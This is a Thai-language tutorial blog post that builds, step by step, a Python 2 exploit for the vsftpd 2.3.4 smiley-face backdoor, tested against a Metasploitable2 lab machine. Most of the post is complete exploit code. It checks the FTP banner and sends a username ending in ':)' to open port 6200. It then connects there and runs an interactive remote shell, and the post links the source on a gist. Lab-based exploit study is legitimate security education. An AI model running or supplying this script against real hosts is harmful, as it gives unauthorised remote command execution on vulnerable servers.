Python Network Programming – Exploit vsftpd backdoor

บทนำ (Overview)

จากบทความก่อนหน้าได้นำเสนอวิธีการยึดเครื่องผ่านช่องโหว่ “vsFtpd backdoor Command Execution” ไปแล้ว

มาในบทความนี้เราจะลองมาหัดเขียน “Exploit” กันเองโดยใช้ ภาษา “Python” โดยหลักการก็ไม่ได้มีสลับซับซ้อนอะไรคือ ให้เขียนเชื่อมต่อ “FTP” โดยการสร้าง “Socket” จากนั้น “Login” ด้วย “username” ที่ลงท้ายด้วย “:)” ถ้าสำเร็จ “Port” หมายเลข “6200” จะเปิดขึ้น ให้เขียนเชื่อมต่อ “Port” ดังกล่าวโดยใช้ “Socket” อีกครั้ง ถ้าสำเร็จให้สร้าง Thread ขึ้นมาหนึ่งตัวสำหรับ “Interactive shell” คือส่งค่าคำสั่งไป และรอตอบกลับมา โดยที่ “Session” ของ “FTP” ยังคงอยู่ และเมื่อเราพิมพ์คำว่า Exit ให้ยุติการใช้งานของโปรแกรม Metasploitable2-ftp-exploit04

ขั้นตอน (Steps)

  1. เราลองมาเขียน “Exploit” โดยใช้ภาษา “Python” กัน เริ่มต้นให้สร้างไฟล์ “Python (.py)” โดย “Code” ในส่วนแรกเราจะมาสร้าง “Interface” สำหรับการรับค่าข้อมูล โดยจะมีอาร์กิวเมนต์สามตัว ตัวแรกคือชื่อโปรแกรม ตัวที่สองคือ “IP” และตัวที่สามคือหมายเลข “Port” อย่าลืม “Import” ชื่อ “system” ให้กับฟังก์ชันอ่านค่าอาร์กินเมนต์ด้วย
    #!/usr/bin/python2
    
    import sys #สำหรับอาร์กิวเมนต์
    
    #ตรวจสอบอาร์กิวเมนต์ทั้งหมด
    if len(sys.argv) == 3:
        pass
    else:
        print "usage: ./exploit.py [IP] [PORT]"
        sys.exit(1)
    ip = sys.argv[1] #ดึงค่าอาร์กิวเมนต์ที่หนึ่ง คือ IP
    port = sys.argv[2] #ดึงค่าอาร์กิวเมนต์ที่สอง คือ Port
    
    #เริ่มต้นโปรแกรม
    try:
    
    except Exception:
        sys.exit(1) #ถ้าพบ Error ต่าง ๆ ให้ออกจากโปรแกรม
    
  2. ลองทดสอบโปรแกรม พบว่าโปรแกรมสามารถแสดงวิธีใช้งานตามที่ต้องการMetasploitable2-ftp-exploit01
  3. ต่อมาเราจะมาทำการเปิด “Port” หมายเลข “6200” โดยใช้การเชื่อมต่อไปยัง “Port” หมายเลข “21” และใส่ “username” ที่ลงท้ายด้วย “:)” ดังนี้
    #!/usr/bin/python2
    
    import sys
    import socket #สำหรับการสร้าง Socket เพื่อส่งค่าต่าง ๆ ระหว่าง Protocol FTP และ Port 6200
    import time #ใช้ Delay เวลา
    
    if len(sys.argv) == 3:
        pass
    else:
        print "usage: ./exploit.py [IP] [PORT]"
        sys.exit(1)
    ip = sys.argv[1]
    port = sys.argv[2]
    
    #สร้าง Function สำหรับเชื่อมต่อ FTP และ Authentication
    def ftpConnect():
        ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            ftp_socket.connect((ip, int(port)))
        except Exception: #ตรวจสอบว่าสามารถเชื่อมต่อกับปลายทางได้หรือไม่
            print '[!] Cannot connect the target'
            sys.exit(1)
        print '[*] Try to open port 6200'
        banner = ftp_socket.recv(1024)
        if 'vsFTPd 2.3.4' in banner: #ตรวจสอบว่าเป็น Version ที่มีช่องโหว่หรือเปล่า
            ftp_socket.send("USER qwertyuuu:)\n") #ใส่ username
            ftp_socket.recv(1024)
            ftp_socket.send("PASS qweerrtt\n") #ใส่ password
    	time.sleep(5)
            ftp_socket.close()
            print '[*] Open Port 6200 completed'
            return
        else:
            print '[!] vsFTPd version 2.3.4 not found'
            sys.exit(1)
    
    try:
        ftpConnect()	
    
    except Exception:
        print "Exceptional errors"
        sys.exit(1) 
    
  4. ทดสอบ “Run” โปรแกรม และตรวจสอบพบว่า “Port” หมายเลข “6200” ได้เปิดขึ้นมาแล้ว Metasploitable2-ftp-exploit02
  5. เมื่อ “Port” หมายเลข “6200” เปิดขึ้นมาแล้วก็เพียงเขียนเชื่อมต่อโดยใช้ “Socket” เพื่อส่ง “Command” และ ผลลัพธ์ของ “Command” นั้น ๆ
    #!/usr/bin/python2
    
    import sys
    import socket
    import time
    import threading #เนื่องจากเป็น Interactive shell เราจะสร้าง Thread ขึ้นมาเพื่อใช้งาน ร่วมกับ Session ของ Port 21 ที่จะต้องเปิดทิ้งไว้
    
    if len(sys.argv) == 3:
        pass
    else:
        print "usage: ./exploit.py [IP] [PORT]"
        sys.exit(1)
    ip = sys.argv[1]
    port = sys.argv[2]
    
    def ftpConnect():
        ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            ftp_socket.connect((ip, int(port)))
        except Exception:
            print '[!] Cannot connect the target'
            sys.exit(1)
        print '[*] Try to open port 6200'
        banner = ftp_socket.recv(1024)
        if 'vsFTPd 2.3.4' in banner:
            ftp_socket.send("USER qwertyuuu:)\n")
            ftp_socket.recv(1024)
            ftp_socket.send("PASS qweerrtt\n")
    	time.sleep(3)
            ftp_socket.close()
            print '[*] Open Port 6200 completed'
            return
        else:
            print '[!] vsFTPd version 2.3.4 not found'
            sys.exit(1)
    
    #เป็นฟังก์ชันที่เรียกจาก backdoorConnect เพื่อใช้งาน interactive shell
    #การตั้งค่า Timeout ของ Socket ตั้งสัมพันธ์กับ ระยะเวลาที่ที่เรารอผลการเชื่อมต่อ FTP อย่าให้เร็วกว่าเราจะไม่สามารถเชื่อมต่อ Port 6200 ได้
    def shellSendResponse(sock, status):
        sock.settimeout(5)
        while status == True:
            try:
                print sock.recv(1024).strip()
            except socket.timeout:
                pass
            except Exception:
                return
    
    #เป็นฟังก์ชันสำหรับเชื่อมต่อ Port 6200
    def backdoorConnect():
        backdoorConnect_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        backdoorConnect_status = True
        try:
            backdoorConnect_socket.connect((ip, 6200))
        except Exception:
            print '[!] Cannot get the shell'
            sys.exit(1)
        
        #เราจะสร้าง Thread เพื่อเรียกใช้งานฟังก์ชัน shellSendResponse สำหรับทำ Interactive shell
        shellThread = threading.Thread(target=shellSendResponse, args=(backdoorConnect_socket, backdoorConnect_status))
        shellThread.start()
        print '[*] Pwnage Complete\n'
        
        #ถ้าเราพิมพ์ Exit ให้เปิดการเชื่อมต่อทั้งหมด
        while 1:
            command = raw_input().strip()
            if command == 'exit':
                backdoorConnect_status = False
                backdoorConnect_socket.close()
                shellThread.join()
                sys.exit(0)
            backdoorConnect_socket.send(command + '\n')
    
    try:
        ftpConnect()
        backdoorConnect()	
    
    except Exception:
        print "Exceptional errors"
        sys.exit(1) 
    
  6. ลองทดสอบ “Run” โปรแกรมพบว่าสามารถ “Exploit” ได้ Metasploitable2-ftp-exploit03

สามารถดาวน์โหลดตัวอย่าง “Sourcecode” ได้ที่

https://gist.github.com/thaisingle/e2af5a83f06dc91fdf60faa23f43ffec

ใส่ความเห็น